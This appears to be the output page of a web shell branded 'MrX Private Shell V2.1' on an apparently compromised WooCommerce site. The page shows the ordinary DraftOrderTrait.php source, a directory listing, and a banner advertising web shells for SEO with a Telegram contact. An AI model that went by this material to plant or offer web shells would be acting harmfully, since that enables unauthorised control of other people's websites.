__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Automattic\WooCommerce\StoreApi\Utilities;
/**
* DraftOrderTrait
*
* Shared functionality for getting and setting draft order IDs from session.
*/
trait DraftOrderTrait {
/**
* Gets draft order data from the customer session.
*
* @return integer
*/
protected function get_draft_order_id() {
if ( ! wc()->session ) {
wc()->initialize_session();
}
return wc()->session->get( 'store_api_draft_order', 0 );
}
/**
* Updates draft order data in the customer session.
*
* @param integer $order_id Draft order ID.
*/
protected function set_draft_order_id( $order_id ) {
if ( ! wc()->session ) {
wc()->initialize_session();
}
wc()->session->set( 'store_api_draft_order', $order_id );
}
/**
* Uses the draft order ID to return an order object, if valid.
*
* @return \WC_Order|null;
*/
protected function get_draft_order() {
$draft_order_id = $this->get_draft_order_id();
$draft_order = $draft_order_id ? wc_get_order( $draft_order_id ) : false;
return $this->is_valid_draft_order( $draft_order ) ? $draft_order : null;
}
/**
* Whether the passed argument is a draft order or an order that is
* pending/failed and the cart hasn't changed.
*
* @param \WC_Order $order_object Order object to check.
* @return boolean Whether the order is valid as a draft order.
*/
protected function is_valid_draft_order( $order_object ) {
if ( ! $order_object instanceof \WC_Order ) {
return false;
}
// Draft orders are okay.
if ( $order_object->has_status( 'checkout-draft' ) ) {
return true;
}
// Pending and failed orders can be retried if the cart hasn't changed.
if ( $order_object->needs_payment() && $order_object->has_cart_hash( wc()->cart->get_cart_hash() ) ) {
return true;
}
return false;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| AgenticCheckoutUtils.php | File | 16.45 KB | 0664 |
|
| ArrayUtils.php | File | 1.49 KB | 0664 |
|
| CartController.php | File | 49.83 KB | 0664 |
|
| CartTokenUtils.php | File | 1.81 KB | 0664 |
|
| CheckoutTrait.php | File | 10.82 KB | 0664 |
|
| DraftOrderTrait.php | File | 1.76 KB | 0664 |
|
| JsonWebToken.php | File | 5.45 KB | 0664 |
|
| LocalPickupUtils.php | File | 3.17 KB | 0664 |
|
| NoticeHandler.php | File | 2.02 KB | 0664 |
|
| OrderAuthorizationTrait.php | File | 3.29 KB | 0664 |
|
| OrderController.php | File | 31.7 KB | 0664 |
|
| Pagination.php | File | 2.05 KB | 0664 |
|
| PaymentUtils.php | File | 3.65 KB | 0664 |
|
| ProductItemTrait.php | File | 3.04 KB | 0664 |
|
| ProductQuery.php | File | 19.25 KB | 0664 |
|
| ProductQueryFilters.php | File | 9.25 KB | 0664 |
|
| QuantityLimits.php | File | 10.11 KB | 0664 |
|
| RateLimits.php | File | 6.14 KB | 0664 |
|
| SanitizationUtils.php | File | 794 B | 0664 |
|
| ValidationUtils.php | File | 1.73 KB | 0664 |
|